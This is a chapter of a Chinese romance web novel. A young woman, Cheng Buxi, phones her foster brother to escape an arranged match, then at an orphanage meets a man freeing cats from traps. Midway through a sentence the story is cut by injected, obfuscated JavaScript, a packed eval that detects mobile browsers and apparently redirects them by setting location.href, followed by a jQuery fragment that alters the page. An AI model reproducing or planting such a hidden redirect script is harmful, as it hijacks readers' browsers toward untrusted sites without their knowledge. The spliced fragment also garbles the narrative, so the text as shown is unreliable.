周遭一切都仿佛静止了,所有的感官被无限放大,瘆人的阒寂如潮水涌入。
挂断是不可能了,程不喜想把自个儿手剁了。
这时冯源翻了个身,嘴里嘟囔着含糊不清的梦话,阳台上隔夜的衣服在滴水。
滴答,滴答…不断刺激着薄弱的五识。
陆庭洲听见她不太稳当的呼吸声,好像明白了什么,单手撑抬太阳穴,精悍健硕的体格陷在真皮沙发里,姿态放缓,声音也抚慰温沉起来:“在寝室?”
“碰哪儿了,怎么这么不小心。”
程不喜咬住唇瓣,久久,自知躲不过,硬着头皮说“等一下呀”,她不敢说这通电话是误触,只能当做顺水卖乖的人情。用最快的速度下床,跑到没人的走廊。
一阵窸窸窣窣的动静,电话那头倒也耐心至以,等她觉得环境安全再重新开始交谈。
“哥,我做噩梦了。”她踮着脚,音腻得发软。
从小到大都是这副样子,关键时候会勾会骗,猫爪子似的在他心尖口磨蹭,抓挠,身为兄长的他对此根本毫无办法。
陆庭洲眸底盛光,眼神比刚才还要透亮。接二连三的主动,他有些飘飘然,唇边泛起连他自己都恍然未察的清绝笑意:“嗯,不怕,梦而已。”
其实,他也做了梦,梦到有一年深冬,她夜里生病发高烧,吃了很多药,医生来了三四个也不见好,全家上下都急得打转。他妈,白女士那么要强的一个人眼底都没光了。最后喊了个半仙过来驱邪,也是神奇,后面居然好了。
年幼的她以为自己快死了,昏昏沉沉扣着他掌心说:“小野哥哥,要是遇到更好的,记得丢下我。”
丢下她吗?不会的,他不会丢下你的。
就算遇到更好的,也不会的,更何况,没有人能好得过你了。
…
梦醒后他望着天花板出神,不出意料一团糟,本打算看会儿书,最后还是反身折进浴室冲冷水澡。
“哥…我好像还没有睡醒。”程不喜将头发抓到一侧,乌黑顺泽的长发顺势散落,露出优美雪白的颈部线条。她长得好,漂亮脸蛋可以作为刀。
似乎还深陷长梦里,走廊有穿堂风,怪冷的,她缩了缩肩膀。
梦里的她单纯稚嫩,天不怕地不怕,因为知道身后永远有仰仗,那时候的他们相隔那么近,她可以肆无忌惮地依赖他,缠着他,可是现在…
“那就不要醒。”陆庭洲捏了捏眉心,沉沦的滋味会上瘾,话锋一转,“肚子饿吗,我派人送些吃的过去,你喜欢的于记樱桃糕。”
樱桃糕。
程不喜出神地看着角落里,有几只蚂蚁在搬运储存过冬的粮食,很卖力。三年的空窗期,她口味变化很大,已经不喜欢吃樱桃糕了,可她没说破:“不饿,我一会儿和同学去吃食堂。”
那边没有强迫,说好。
事已至此,“哥,你救救我呀。”
电话打都打了,程不喜索性趁这次机会向他求个庇佑,本能地开始撒娇,“你可不可以在沈教授面前,多说说我的坏话...”
这要求稀罕,陆庭洲扬了扬眉毛:“怎么?”
程不喜嗡着声道:“这样我就不用去沈家了呀....他沈大公子儒雅高知一表人才,一旦知道联姻的对象是个品行极坏的家伙,肯定不屑与我为伍。伯母也会知难而退的。”
所以,是谁昨天哭着闹着说大不了嫁就是,信誓旦旦,现在又不肯嫁,果真是狡猾又善变的小狐狸曳尾巴。
陆庭洲一时失了言语,心中喜忧参半。
喜的是她对沈家太太的头衔毫无兴趣,忧的是她对自己的魅力一无所知。
即便说了,凭沈修时的眼光又怎么会差?
那头久不言语,程不喜莫名紧张:“…哥?”
思绪归位,陆庭洲揉了揉眉心,淡淡地回应道:“你不会去。”
昏暗套房里,他的身影十分孤拔,生出几分料峭的意味。
如此笃定地说出结局,程不喜亦有种解脱的浓浓安心,毕竟他是陆庭洲,大少爷说的话从来都作数——当然也包括那句“不喜欢你”
“真的吗?伯母不会怪我吗....”她似是不放心。
依旧是笃定温柔的嗓音:“嗯,不会。”
明显听见她咧开嘴笑。
挂断前,陆庭洲还说了一句话,让程不喜恍惚很久。
他说:“小喜,你能打给我,我很高兴。”
要怎么和他解释这通电话其实是场意外呢。
她开不了口。
-
高雅缤有晨跑的习惯,见程不喜大清早抱着本书出门,挺少见,问她是不是去图书馆。
程不喜瞧着一宿没睡好,眼底落圈青灰,脸白得像鬼,摇头:“福利院。”
“之前做义工的那家福利院?”
程不喜说是。
她依旧穿得挺单薄,外边十度左右的天儿跟不觉冷似的。米白色菱格针织短衫,下搭不太紧身的浅色牛仔裤,勾勒出纤长细直的两腿,一双芥子色的牛皮平底鞋,很有秋冬气息。顺黑长发简单梳了梳,随意披散在脸颊两侧,鹅蛋脸上干干净净白皙得像臻玉,整个人纤薄而又水灵。
“财院校花”的名号珍贵响亮,历届引来厮杀无数,多少人求之不得,但到她这儿总觉屈着她了。
“学分不是加过了,没必要再去了啊。”高雅缤天天见她这张脸,免疫了。
“我答应了几个小朋友,每隔两周去看看他们,顺便再买点吃的。”
高雅缤没她这么有恒心,也没她那般有觉悟,常年寄人篱下的人总有种天然的亏欠,必须做点什么才能平衡。
“去吧,别忘了今儿有考试。”
不提还好,提完想起是沈修时出卷子,他出题难度系数准不低,程不喜莫名还有些担心挂科。
…
福利院位置挨着财大的老校区,从新校区过去还有段距离。
程不喜走进福利院教室的时候,有很多小朋友正围在一起,个头有高有矮形成一个错落的圈,被围在中间的小女孩正在哭,很伤心。
小女孩儿叫佑佑,天生兔唇,爹妈应该是没钱给她治疗,又或者别的什么原因直接狠心将她遗弃了,小小年纪就饱受人情冷暖摧折。
程不喜初来这儿做义工时她也刚被送来福利院没多久,神情胆怯又紧张,经常躲角落里不说话也不肯见人,有点像幼年刚迈入陆家大门的自己,她想。
大约是惺惺相惜吧,程不喜对她格外照顾,很多好东西也第一时间先给她。
以为是聚众霸凌,程不喜急忙跑去制止,结果小孩儿们只是在安慰她不要哭。
这时有人注意到程不喜,大喊:“是那个姐姐!”
“漂亮姐姐你来了!”
几乎所有人都围到她那边去了。
程不喜对校园欺凌这事儿本就很敏感,将哭得稀里哗啦的小女孩拉到怀里,柔声询问:“佑佑,怎么哭了?”
“咪咪,咪咪流血了…”她怀里抱着只浑身是伤的小猫。
程不喜循着视线看去,心口猛得一沉。
“这附近有人虐猫,可气人了,早上在草丛里被发现的,已经快不行了。”照顾她们的生活老师说。
如此残忍,程不喜不忍多看,问:“报警了吗?”
生活老师叹了口气:“警察压根儿不管,附近流浪猫很多,监控也拍不到,怎么管。”
…
程不喜将小姑娘抱在怀里,不停安抚,满眼的疼惜藏不住。
将小猫送到附近的宠物医院救助,一番折腾好在是保住了小猫一条命。
回来时经过福利院操场的外围栏,那儿挺荒芜,还有一凿干涸很久的小池塘。里面堆满了淤泥和枯树叶子,人迹罕至。
走到枯池塘边上,程不喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829950|158918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
突然听见有猫发出断断续续的凄厉叫喊,树影深处有一道人影。
几乎同时,她认定这人就是附近虐猫的变态,怒气冲顶她压根没思索,二话不说抄起路边手腕粗的枯木枝就朝声音来源砸去。
“快放开它!”她音质柔,但充满正气。
其中一只正在吃猫食的小猫受了惊吓,从那人的腿边飞速窜走,落下长串的血迹。
青年莫名其妙被人用木头砸,怀里的那只白猫更是可怜,枯瘦的腿尚被尖锐的夹子夹住,还没拆完,也受了惊,挣扎着嚎叫声更加凄厉。
他脚边散落着螺丝刀,扳手等工具,整个人背对着蹲坐,看身形人高马大的,不像邪恶之徒,没想到居然是这种人。
这时青年侧身,凌风一眼扫射过来,注意到自己衣服上沾满了烂泥,还有道道血迹,脸登时一黑。
程不喜见附近角落散落着猫条还有冻干,几只没有逃跑的流浪猫正歪着脑袋打量她,怎么看都不像是犯罪现场。
反应过来这人是在拆除那些捕猫夹,并不是她想的那样,脸白了又白,“对不起,我不知道…”
数日有雨,沾满腥湿泥土和枯叶残骸的树棍在他浅色衣服上落下浓墨重彩的一笔,小猫发狂地爪印也在肩胛处挠出一道不小的裂口,这身衣服是不能穿了。
青年瞅着年岁不大,看体格也是个精壮硬硕的,程不喜本能地感到愧疚:“多少钱我赔给你…”
“赔?”青年大约也觉得莫名其妙,现在的人都怎么回事儿,耐着性子将最后一个捕兽夹拆除,小白猫的一条腿被尖锐的钢钉夹穿,鲜血淋漓。简单的止了血,他皱眉将它装进小航空箱里,打算送去宠物医院,一套动作做完,起身和她对峙。
程不喜这才瞧见他庐山真面目。
有一说一,这人长得正经不错,刚才侧着身看不大清,此刻利落干脆的颌面大大方方铺在眼前,高鼻薄唇,眉眼深邃,鼻梁骨还微微凸起一小节,是很吸睛的面貌。
双眼皮在英气勃勃的面上拓下道深深的褶痕,随着抬眸的角度,愈显桀骜不驯,半晌蹦跶出句:“不差钱儿?”
皮相是极品不用说,就是这性格…程不喜毕竟有错在先,气势也弱了。
从青年那个角度看程不喜,同样觉得有意思。漂亮的人一抓一大把,但极少有人漂亮到具有冲击性,一张巴掌脸上闪过很多细碎的情绪。
他没见过这样儿的,心跳鼓动加速,但面儿上还是涓滴不惊的:“这衣服两万,你赔吗?”
狮子大开口啊。
程不喜:“……什么?”
这时电话铃响起,是管姐。
瞥了眼时间,必须得走了,待会儿是沈修时的课,还有随堂考试。这次要是再不及格,她哥估计就要被叫家长了,当不当着面还另说。
航空箱里小猫虚弱的腹部一鼓一息,必须赶紧送医。无奈之下,她掏出随身携带的纸和笔,刷刷写下自己的联系方式,“你打这个号码,我赶时间,具体赔多少我们再商量。”
商量。青年看见递来的纸条,霜染似的纤细腕骨,散漫笑了。不服气地傲娇顶腮,眼皮子慢慢上抬,性感唇沿支了支:“同学,想加我微信直说啊,绕这么大圈。”
程不喜:“。。。”
“字儿也不错。”他锐评。
程不喜没空陪他瞎唠,“实在对不起,我还有事,先走了,衣服…我会赔给你的。”
青年不做声,不表态,只是将那张纸条郑重其事地揣进兜里,下一秒他笑了笑,“不用这么麻烦。”他说。
程不喜还没明白什么意思,这时他已经摸出手机点开微信,一双眼睛神采奕奕,日头下亮得出奇,不容置喙说:“你扫我,还是我扫你。”
程不喜:“……”
后来她回忆起这件事,觉得自己简直有毛病,傻不拉几加了他好友,走之前还特二地朝他鞠了个躬!简直不要太羞耻好吗!